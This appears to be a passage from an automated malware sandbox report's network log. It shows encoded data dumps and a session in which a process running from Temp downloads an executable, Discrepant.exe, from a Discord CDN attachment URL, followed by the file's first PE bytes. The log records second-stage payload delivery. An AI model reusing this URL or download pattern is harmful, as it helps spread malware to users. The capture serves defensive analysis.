2021-11-09 21:21:49 UTC	1192	IN	Data Raw: 20 78 20 6b 59 20 78 20 59 6f 20 78 20 74 52 20 78 20 6b 74 20 78 20 74 45 20 78 20 59 45 20 78 20 6b 51 20 78 20 6b 4b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 52 6b 20 78 20 4f 78 4b 20 78 20 4f 78 51 20 78 20 51 78 20 78 20 52 6b 20 78 20 6b 59 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 6b 4b 20 78 20 52 51 20 78 20 4b 51 20 78 20 6b 51 20 78 20 6b 4b 20 78 20 4f 78 6b 20 78 20 4f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 45 20 78 20 74 45 20 78 20 4b 45 20 78 20 6b 78 20 78 20 52 74 20 78 20 59 74 20 78 20 4f 6f 6f 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 74 20 78 20 6b 6f 20 78 20 6b 78 20 78 20 6b 59 20 78 20 4f 6f 6f 20 78 20 59 Data Ascii: x kY x Yo x tR x kt x tE x YE x kQ x kK x kY x OOR x tk x Rk x OxK x OxQ x Qx x Rk x kY x OOQ x kQ x kK x RQ x KQ x kQ x kK x Oxk x OxK x Oxo x kE x tE x KE x kx x Rt x Yt x Ooo x Oxx x kk x RR x OOQ x Qk x YO x tK x Kk x Qx x kt x ko x kx x kY x Ooo x Y
2021-11-09 21:21:49 UTC	1197	IN	Data Raw: 78 20 78 20 52 51 20 78 20 6b 6f 20 78 20 52 51 20 78 20 4f 78 6b 20 78 20 74 51 20 78 20 6b 6f 20 78 20 4b 51 20 78 20 52 52 20 78 20 52 52 20 78 20 6b 6f 20 78 20 52 51 20 78 20 6b 6f 20 78 20 74 4b 20 78 20 6b 4b 20 78 20 4f 78 74 20 78 20 4f 78 78 20 78 20 6b 51 20 78 20 6b 74 20 78 20 74 78 20 78 20 52 52 20 78 20 52 52 20 78 20 6b 6f 20 78 20 52 51 20 78 20 6b 6f 20 78 20 74 4b 20 78 20 6b 4b 20 78 20 4f 78 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 6b 6f 20 78 20 52 51 20 78 20 6b 45 20 78 20 6b 59 20 78 20 59 45 20 78 20 74 6f 20 78 20 6b 74 20 78 20 74 78 20 78 20 4f 78 4b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 6b 6f 20 78 20 52 51 20 78 20 6b 45 20 78 20 6b 59 20 78 20 59 45 20 78 20 74 6f 20 78 20 Data Ascii: x x RQ x ko x RQ x Oxk x tQ x ko x KQ x RR x RR x ko x RQ x ko x tK x kK x Oxt x Oxx x kQ x kt x tx x RR x RR x ko x RQ x ko x tK x kK x Oxt x Oxx x kO x kO x kY x ko x RQ x kE x kY x YE x to x kt x tx x OxK x kO x kO x kY x ko x RQ x kE x kY x YE x to x
2021-11-09 21:21:49 UTC	1201	IN	Data Raw: 78 20 52 74 20 78 20 59 78 20 78 20 52 74 20 78 20 59 59 20 78 20 74 52 20 78 20 52 52 20 78 20 4b 51 20 78 20 6b 6f 20 78 20 52 74 20 78 20 4f 78 52 20 78 20 74 4f 20 78 20 59 4f 20 78 20 4f 78 51 20 78 20 74 6b 20 78 20 4f 78 51 20 78 20 4f 4f 51 20 78 20 4b 45 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 78 20 51 78 20 78 20 4b 51 20 78 20 74 52 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 52 52 20 78 20 6b 59 20 78 20 6b 51 20 78 20 74 6f 20 78 20 51 51 20 78 20 4f 4f 6b 20 78 20 4b 6b 20 78 20 59 74 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 52 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 78 20 78 20 4f 4f 74 20 78 20 59 4f 20 78 20 59 45 20 78 20 74 4b 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 6b 45 20 78 20 4f 4f 6f 20 78 20 4b 45 20 78 20 6b 4f 20 78 20 51 78 20 Data Ascii: x Rt x Yx x Rt x YY x tR x RR x KQ x ko x Rt x OxR x tO x YO x OxQ x tk x OxQ x OOQ x KE x OOo x OxQ x Qx x KQ x tR x Oxk x tk x RR x kY x kQ x to x QQ x OOk x Kk x Yt x OxQ x OxY x Rk x OOk x Oxx x OOt x YO x YE x tK x OOO x YK x kE x OOo x KE x kO x Qx
2021-11-09 21:21:49 UTC	1205	IN	Data Raw: 4f 20 78 20 52 59 20 78 20 4b 51 20 78 20 6b 59 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 6b 6b 20 78 20 74 74 20 78 20 52 52 20 78 20 6b 74 20 78 20 52 52 20 78 20 52 51 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4b 51 20 78 20 51 51 20 78 20 74 6f 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 4f 4f 78 20 78 20 6b 6f 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 6f 4f 20 78 20 51 51 20 78 20 59 78 20 78 20 59 74 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20 52 74 20 78 20 59 45 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 74 4b 20 78 20 74 59 20 78 20 4f 4f 4f 20 78 20 51 78 20 78 20 74 45 20 78 20 Data Ascii: O x RY x KQ x kY x Oxx x RQ x kO x kO x kk x tt x RR x kt x RR x RQ x YO x tk x KQ x QQ x to x RR x OOk x QQ x OOx x ko x RY x Qk x OxQ x Oxk x OoO x QQ x Yx x Yt x OxQ x Oxx x Rt x YE x OOt x Qx x kk x kO x OOQ x Rk x kO x kQ x tK x tY x OOO x Qx x tE x
2021-11-09 21:21:49 UTC	1209	IN	Data Raw: 78 20 78 20 59 78 20 78 20 59 52 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 52 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 51 78 20 78 20 52 6b 20 78 20 52 51 20 78 20 4f 78 74 20 78 20 74 74 20 78 20 52 74 20 78 20 74 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 4b 51 20 78 20 6b 59 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 6f 78 20 78 20 74 74 20 78 20 51 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 78 20 78 20 51 6b 20 78 20 4f 6f 4f 20 78 20 52 52 20 78 20 6b 45 20 78 20 6b 59 20 78 20 4b 6b 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 6b 4f 20 78 20 59 78 20 78 20 59 74 20 78 20 4f 78 74 20 78 20 51 78 20 Data Ascii: x x Yx x YR x OxE x kK x tO x Oxk x OOR x Qt x kk x ko x Oxk x Qx x Rk x RQ x Oxt x tt x Rt x tE x tO x RY x KQ x kY x RQ x RY x Oox x tt x Qk x kY x Yx x kR x OxR x Oxx x tO x Oxk x OOx x Qk x OoO x RR x kE x kY x Kk x RQ x OxE x kO x Yx x Yt x Oxt x Qx
2021-11-09 21:21:49 UTC	1213	IN	Data Raw: 78 20 4b 74 20 78 20 52 52 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 4f 4f 4b 20 78 20 52 52 20 78 20 4f 78 45 20 78 20 52 51 20 78 20 74 78 20 78 20 52 52 20 78 20 6b 4f 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 6b 51 20 78 20 4f 6f 6f 20 78 20 51 74 20 78 20 74 6f 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 51 51 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 4f 6b 20 78 20 74 52 20 78 20 59 78 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 4f 78 78 20 78 20 52 74 20 78 20 59 45 20 78 20 4b 51 20 78 20 51 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 4f 20 78 20 4f 78 78 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4b 51 20 78 20 51 51 20 78 20 59 4f 20 78 20 6b 4f 20 78 20 4f 4f 74 20 78 20 6b 51 20 78 20 59 78 20 78 20 59 74 20 78 Data Ascii: x Kt x RR x OxE x OxE x OOK x RR x OxE x RQ x tx x RR x kO x QQ x OOQ x RY x OOO x kQ x Ooo x Qt x to x ko x Kk x QQ x Rk x OOO x OOk x tR x Yx x tk x OoO x Oxx x Rt x YE x KQ x QQ x Yx x kR x OoO x Oxx x to x tK x KQ x QQ x YO x kO x OOt x kQ x Yx x Yt x
2021-11-09 21:21:49 UTC	1224	IN	Data Raw: 20 52 51 20 78 20 6b 4f 20 78 20 74 74 20 78 20 52 59 20 78 20 59 6f 20 78 20 74 4f 20 78 20 52 59 20 78 20 4b 51 20 78 20 6b 59 20 78 20 52 51 20 78 20 52 52 20 78 20 4f 6f 78 20 78 20 74 74 20 78 20 74 6f 20 78 20 6b 59 20 78 20 59 78 20 78 20 74 78 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 4f 78 51 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 52 6b 20 78 20 52 51 20 78 20 6b 51 20 78 20 74 74 20 78 20 52 52 20 78 20 6b 51 20 78 20 74 4f 20 78 20 52 59 20 78 20 4b 51 20 78 20 6b 59 20 78 20 52 51 20 78 20 52 74 20 78 20 4f 78 4b 20 78 20 74 74 20 78 20 6b 78 20 78 20 6b 59 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 78 20 78 20 51 6b 20 78 20 4f 6f 4f 20 78 20 52 52 20 78 Data Ascii: RQ x kO x tt x RY x Yo x tO x RY x KQ x kY x RQ x RR x Oox x tt x to x kY x Yx x tx x OOY x Qx x OxQ x Yt x OoO x Qx x Rk x RQ x kQ x tt x RR x kQ x tO x RY x KQ x kY x RQ x Rt x OxK x tt x kx x kY x Yx x kR x OxR x Oxx x tO x Oxk x OOx x Qk x OoO x RR x
2021-11-09 21:21:49 UTC	1229	IN	Data Raw: 20 78 20 4f 6f 78 20 78 20 4f 6f 78 20 78 20 6b 51 20 78 20 6b 6f 20 78 20 4f 4f 4b 20 78 20 4b 45 20 78 20 6b 78 20 78 20 6b 74 20 78 20 4f 4f 59 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 51 74 20 78 20 51 51 20 78 20 6b 74 20 78 20 74 51 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 4f 78 20 78 20 6b 4f 20 78 20 4f 4f 4b 20 78 20 4f 78 6f 20 78 20 4b 45 20 78 20 74 6f 20 78 20 4f 6f 6f 20 78 20 6b 78 20 78 20 4f 78 4b 20 78 20 4b 74 20 78 20 4f 4f 45 20 78 20 4f 4f 6b 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 59 59 20 78 20 6b 74 20 78 20 74 6f 20 78 20 59 6f 20 78 20 4f 6f 4f 20 78 20 74 45 20 78 20 4b 51 20 78 20 4f 4f 6f 20 78 20 59 78 20 78 20 4f 4f 4b 20 78 20 74 6f 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 51 78 20 78 20 74 6f 20 78 20 Data Ascii: x Oox x Oox x kQ x ko x OOK x KE x kx x kt x OOY x kR x RR x OOx x Qt x QQ x kt x tQ x Yt x kk x OOx x kO x OOK x Oxo x KE x to x Ooo x kx x OxK x Kt x OOE x OOk x OxQ x OxY x YY x kt x to x Yo x OoO x tE x KQ x OOo x Yx x OOK x to x Kk x kY x Qx x to x
2021-11-09 21:21:49 UTC	1245	IN	Data Raw: 78 20 6b 52 20 78 20 74 51 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 6b 6b 20 78 20 6b 6b 20 78 20 4f 78 6f 20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 52 74 20 78 20 4f 6f 4f 20 78 20 4b 6b 20 78 20 4f 78 6b 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 74 4f 20 78 20 4f 6f 4f 20 78 20 4f 4f 59 20 78 20 74 6b 20 78 20 4f 4f 59 20 78 20 4f 4f 45 20 78 20 4f 78 6f 20 78 20 6b 45 20 78 20 4f 4f 4f 20 78 20 74 78 20 78 20 59 74 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 59 59 20 78 20 74 4b 20 78 20 4b 74 20 78 20 6b 6f 20 78 20 51 74 20 78 20 4f 4f 4f 20 78 20 74 52 20 78 20 4f 78 6b 20 78 20 74 4b 20 78 20 6b 74 20 78 20 51 78 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 74 6f 20 78 20 74 52 20 78 20 4f Data Ascii: x kR x tQ x RR x Oxt x kk x kk x Oxo x RY x YO x OOO x OoO x Rt x OoO x Kk x Oxk x OxK x RR x tO x OoO x OOY x tk x OOY x OOE x Oxo x kE x OOO x tx x Yt x Qk x OOQ x YY x tK x Kt x ko x Qt x OOO x tR x Oxk x tK x kt x Qx x RY x OOo x Qk x tO x to x tR x O
2021-11-09 21:21:49 UTC	1256	IN	Data Raw: 78 20 6b 78 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 20 4f 4f 52 20 78 20 4f 6f 4f 20 78 20 52 74 20 78 20 4f 78 6b 20 78 20 51 74 20 78 20 4f 4f 59 20 78 20 4f 4f 59 20 78 20 45 6f 20 78 20 45 4b 20 78 20 45 4b 20 78 20 59 4f 20 78 20 59 78 20 78 20 45 4b 20 78 20 45 4b 20 78 20 45 6f 20 78 20 4b 74 20 78 20 52 74 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 4f 78 51 20 78 20 51 74 20 78 20 4f 4f 78 20 78 20 4f 78 78 20 78 20 74 52 20 78 20 4f 78 59 20 78 20 4f 4f 78 20 78 20 4f 78 4f 20 78 20 45 6f 20 78 20 45 4b 20 78 20 45 4b 20 78 20 45 6f 20 78 20 4b 74 20 78 20 6b 45 20 78 20 4f 4f 52 20 78 20 51 74 20 78 20 4f 4f 4b 20 78 20 4f 4f 52 20 78 20 52 6b 20 78 20 4f 78 59 20 78 20 4f 4f 4b 20 78 20 Data Ascii: x kx x OOK x OxY x OOO x OOK x OxY x OOR x OoO x Rt x Oxk x Qt x OOY x OOY x Eo x EK x EK x YO x Yx x EK x EK x Eo x Kt x Rt x OOO x OxQ x OxQ x Qt x OOx x Oxx x tR x OxY x OOx x OxO x Eo x EK x EK x Eo x Kt x kE x OOR x Qt x OOK x OOR x Rk x OxY x OOK x
2021-11-09 21:21:49 UTC	1272	IN	Data Raw: 4f 6f 4f 20 78 20 4f 78 52 20 78 20 4f 4f 45 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 4f 59 20 78 20 4f 78 45 20 78 20 4f 4f 59 20 78 20 45 74 20 78 20 4f 78 78 20 78 20 45 74 20 78 20 4f 78 6b 20 78 20 4f 4f 59 20 78 20 4f 78 6f 20 78 20 51 51 20 78 20 4f 4f 6b 20 78 20 4f 78 4f 20 78 20 4f 78 52 20 78 20 4f 78 52 20 78 20 4f 78 4b 20 78 20 4f 78 52 20 78 20 4f 4f 78 20 78 20 45 74 20 78 20 4f 78 59 20 78 20 45 74 20 78 20 4f 4f 45 20 78 20 4f 4f 6b 20 78 20 4f 6f 6f 20 78 20 4f 78 4f 20 78 20 4f 4f 6b 20 78 20 4f 4f 78 20 78 20 45 74 20 78 20 51 51 20 78 20 45 74 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 4f 52 20 78 20 4f 4f 6b 20 78 20 4f 78 59 20 78 20 4f 4f 45 20 78 20 4f 78 52 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4f 78 4f 20 78 Data Ascii: OoO x OxR x OOE x OxQ x Oxk x OOY x OxE x OOY x Et x Oxx x Et x Oxk x OOY x Oxo x QQ x OOk x OxO x OxR x OxR x OxK x OxR x OOx x Et x OxY x Et x OOE x OOk x Ooo x OxO x OOk x OOx x Et x QQ x Et x OxQ x Oxk x OOR x OOk x OxY x OOE x OxR x Oxk x Oxx x OxO x
2021-11-09 21:21:49 UTC	1288	IN	Data Raw: 59 20 78 20 4f 78 6b 20 78 20 4f 4f 59 20 78 20 4f 78 74 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 45 74 20 78 20 4f 78 59 20 78 20 45 74 20 78 20 4f 78 59 20 78 20 4f 6f 6f 20 78 20 4f 4f 4f 20 78 20 4f 4f 78 20 78 20 4f 78 78 20 78 20 45 74 20 78 20 4f 4f 59 20 78 20 45 74 20 78 20 4f 4f 6f 20 78 20 4f 4f 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 59 20 78 20 4f 78 78 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 4f 78 78 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 45 74 20 78 20 51 74 20 78 20 45 74 20 78 20 4f 4f 59 20 78 20 4f 4f 52 20 78 20 4f 78 59 20 78 20 4f 4f 4b 20 78 20 4f 6f 4f 20 78 20 4f 6f 6f 20 78 20 4f 78 52 20 78 20 4f 4f 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 4f 20 78 20 4f 78 78 20 78 20 4f 4f 78 20 78 20 45 74 20 78 20 51 6b 20 78 20 45 74 20 78 Data Ascii: Y x Oxk x OOY x Oxt x Qk x OOx x Et x OxY x Et x OxY x Ooo x OOO x OOx x Oxx x Et x OOY x Et x OOo x OOk x OOk x OxY x Oxx x Qk x OOx x Oxx x OxE x OxE x Et x Qt x Et x OOY x OOR x OxY x OOK x OoO x Ooo x OxR x OOk x OOk x OxO x Oxx x OOx x Et x Qk x Et x
2021-11-09 21:21:49 UTC	1304	IN	Data Raw: 20 78 20 6b 6f 20 78 20 4f 4f 74 20 78 20 4f 4f 78 20 78 20 78 20 6b 59 20 6b 45 20 78 20 4f 4f 4f 20 78 20 4f 78 6f 20 78 20 4f 4f 52 20 78 20 4f 4f 51 20 78 20 51 74 20 78 20 4f 4f 4b 20 78 20 4f 78 4f 20 78 20 51 6f 20 78 20 52 74 20 78 20 4f 78 6b 20 78 20 51 74 20 78 20 4f 4f 59 20 78 20 4f 4f 59 20 78 20 4f 78 4f 20 78 20 4f 4f 59 20 78 20 51 6f 20 78 20 74 78 20 78 20 4f 4f 4f 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4f 78 4f 20 78 20 4f 4f 4b 20 78 20 51 6f 20 78 20 4f 4f 59 20 78 20 4f 78 4b 20 78 20 4f 78 4f 20 78 20 4f 78 6b 20 78 20 4f 78 6b 20 78 20 51 6f 20 78 20 4f 4f 4f 20 78 20 4f 4f 6f 20 78 20 4f 78 4f 20 78 20 4f 4f 78 20 78 20 51 6f 20 78 20 51 51 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 4f 78 51 20 78 20 51 74 20 78 20 4f 4f Data Ascii: x ko x OOt x OOx x x kY kE x OOO x Oxo x OOR x OOQ x Qt x OOK x OxO x Qo x Rt x Oxk x Qt x OOY x OOY x OxO x OOY x Qo x tx x OOO x Oxk x Oxx x OxO x OOK x Qo x OOY x OxK x OxO x Oxk x Oxk x Qo x OOO x OOo x OxO x OOx x Qo x QQ x OOO x OxQ x OxQ x Qt x OO
2021-11-09 21:21:49 UTC	1320	IN	Data Raw: 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 74 6b 20 78 20 51 74 20 78 20 4f 78 51 20 78 20 4f 78 4f 20 78 20 52 4f 20 78 20 45 4b 20 78 20 52 74 20 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 4f 6f 20 78 20 6b 52 20 78 20 6b 78 20 78 20 74 6b 20 78 20 45 4b 20 78 20 4f 45 20 78 20 4f 78 20 78 20 4f 45 20 78 20 4f 78 20 78 20 78 20 59 51 20 51 51 20 78 20 59 6b 20 78 20 51 6f 20 78 20 4f 4f 51 20 78 20 4f 78 59 20 78 20 4f 4f 78 20 78 20 4f 78 78 20 78 20 4f 4f 4f 20 78 20 4f 4f 51 20 78 20 4f 4f 59 20 78 20 51 6f 20 78 20 4f 4f 59 20 78 20 4f 6f 4f 20 78 20 4f 4f 59 20 78 20 4f 4f 52 20 78 20 4f 78 4f 20 78 20 4f 78 51 20 78 20 59 4f 20 78 20 59 78 20 78 20 51 6f 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 4f 4f 59 20 78 20 4f 4f 52 20 78 20 4f 4f 6f 20 78 Data Ascii: x OOk x QQ x tk x Qt x OxQ x OxO x RO x EK x Rt x OOO x OOK x OOo x kR x kx x tk x EK x OE x Ox x OE x Ox x x YQ QQ x Yk x Qo x OOQ x OxY x OOx x Oxx x OOO x OOQ x OOY x Qo x OOY x OoO x OOY x OOR x OxO x OxQ x YO x Yx x Qo x QQ x OxQ x OOY x OOR x OOo x
2021-11-09 21:21:49 UTC	1336	IN	Data Raw: 45 20 52 6f 20 4f 45 20 4f 78 20 4f 45 20 4f 78 20 52 78 20 51 74 20 4f 4f 59 20 4f 4f 59 20 4f 78 4f 20 4f 78 51 20 51 6b 20 4f 78 6b 20 4f 6f 4f 20 45 6f 20 4f 6f 78 20 4f 78 51 20 4f 78 6b 20 4f 4f 78 20 4f 4f 59 20 52 4f 20 45 4b 20 4f 4f 74 20 4f 4f 4b 20 4f 4f 78 20 59 6b 20 4f 4f 59 20 51 51 20 4f 78 4b 20 4f 78 4f 20 4f 78 51 20 51 74 20 4f 4f 59 20 4b 59 20 4f 78 51 20 4f 78 59 20 51 51 20 4f 4f 4b 20 4f 4f 4f 20 4f 4f 59 20 4f 4f 4f 20 4f 78 6f 20 4f 4f 52 20 4b 59 20 51 51 20 4f 4f 4f 20 4f 78 51 20 59 6b 20 51 74 20 4f 4f 59 20 4f 78 51 20 4b 52 20 4f 4f 6b 20 4b 51 20 45 4b 20 45 6f 20 4f 78 51 20 51 74 20 4f 4f 78 20 4f 78 59 20 4f 78 6f 20 4f 78 4f 20 4f 4f 59 20 4f 4f 52 20 6b 52 20 4f 78 4f 20 4f 4f 4b 20 4f 4f 59 20 4f 78 59 20 4f 4f 4f Data Ascii: E Ro OE Ox OE Ox Rx Qt OOY OOY OxO OxQ Qk Oxk OoO Eo Oox OxQ Oxk OOx OOY RO EK OOt OOK OOx Yk OOY QQ OxK OxO OxQ Qt OOY KY OxQ OxY QQ OOK OOO OOY OOO Oxo OOR KY QQ OOO OxQ Yk Qt OOY OxQ KR OOk KQ EK Eo OxQ Qt OOx OxY Oxo OxO OOY OOR kR OxO OOK OOY OxY OOO

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49880	162.159.134.233	443	C:\Users\user\AppData\Local\Temp\B8B0.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-09 21:22:01 UTC	1339	OUT	GET /attachments/906160963437363273/906989761716187247/Discrepant.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: cdn.discordapp.com
2021-11-09 21:22:01 UTC	1340	IN	HTTP/1.1 200 OK Date: Tue, 09 Nov 2021 21:22:01 GMT Content-Type: application/x-msdos-program Content-Length: 399872 Connection: close CF-Ray: 6aba18169a4b4ab0-FRA Accept-Ranges: bytes Age: 179054 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Discrepant.exe ETag: "0f289285cadcf1e656016a19789b5637" Expires: Wed, 09 Nov 2022 21:22:01 GMT Last-Modified: Sun, 07 Nov 2021 19:33:30 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1636313610329016 x-goog-hash: crc32c=HtVoYg== x-goog-hash: md5=DyiShcrc8eZWAWoZeJtWNw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 399872 X-GUploader-UploadID: ADPycdu5XvW9lV50x8pecyrCFfc74-MKULQrEtAJQwILwfUMLEoXHwChn9zCDiMGUv1JtpqIvTgHzvWJpWVYFB3NdaaAfJSW-g X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2021-11-09 21:22:01 UTC	1341	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 4e 4b 6e 71 66 5a 72 77 36 55 34 30 6c 44 56 76 53 32 4d 37 6a 49 38 25 32 42 47 32 45 25 32 46 43 42 44 54 6e 53 66 72 55 50 6d 7a 74 41 6f 66 72 41 46 46 46 32 67 44 44 77 55 62 41 68 53 71 4a 36 68 4b 35 48 42 30 6a 42 43 41 73 76 67 4f 25 32 42 67 72 68 31 6c 74 7a 73 59 4d 78 59 77 75 70 68 25 32 46 44 75 45 44 45 37 6d 67 63 51 79 45 58 45 4e 31 77 65 73 75 4f 7a 75 61 73 46 4a 52 44 74 51 58 51 6c 6b 32 62 25 32 42 76 51 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NKnqfZrw6U40lDVvS2M7jI8%2BG2E%2FCBDTnSfrUPmztAofrAFFF2gDDwUbAhSqJ6hK5HB0jBCAsvgO%2Bgrh1ltzsYMxYwuph%2FDuEDE7mgcQyEXEN1wesuOzuasFJRDtQXQlk2b%2BvQ%3D%3D"}],"group":"cf-nel","max_a
2021-11-09 21:22:01 UTC	1341	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b8 11 fa 9a 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 12 06 00 00 06 00 00 00 00 00 00 1e 30 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL00 @@ @
2021-11-09 21:22:01 UTC	1342	IN	Data Raw: 00 00 61 00 30 91 00 06 0b 00 00 01 00 00 61 00 30 97 00 06 24 00 00 01 00 00 00 00 a2 a2 00 06 01 00 00 01 1e 02 6f 25 00 00 0a 2a 1a 7e 06 00 00 04 2a 00 32 28 10 00 00 06 02 80 06 00 00 04 2a 00 00 00 1e 02 7b 07 00 00 04 2a 22 02 03 7d 07 00 00 04 2a 00 00 00 13 30 0d 00 a9 00 00 00 00 00 00 00 02 28 05 00 00 0a 02 7e 09 00 00 04 3a 24 00 00 00 16 d0 04 00 00 1b 28 0e 00 00 0a d0 09 00 00 02 28 0e 00 00 0a 28 15 00 00 0a 28 26 00 00 0a 80 09 00 00 04 7e 09 00 00 04 7b 27 00 00 0a 7e 09 00 00 04 7e 08 00 00 04 3a 3a 00 00 00 18 72 68 0b 00 70 14 d0 09 00 00 02 28 0e 00 00 0a 18 8d 26 00 00 01 25 16 17 14 28 28 00 00 0a a2 25 17 16 14 28 28 00 00 0a a2 28 29 00 00 0a 28 2a 00 00 0a 80 08 00 00 04 7e 08 00 00 04 7b 2b 00 00 0a 7e 08 00 00 04 02 03 6f 2c Data Ascii: a0a0$o%~2({"}0(~:$((((&~{'~~::rhp(&%((%((()(~{+~o,
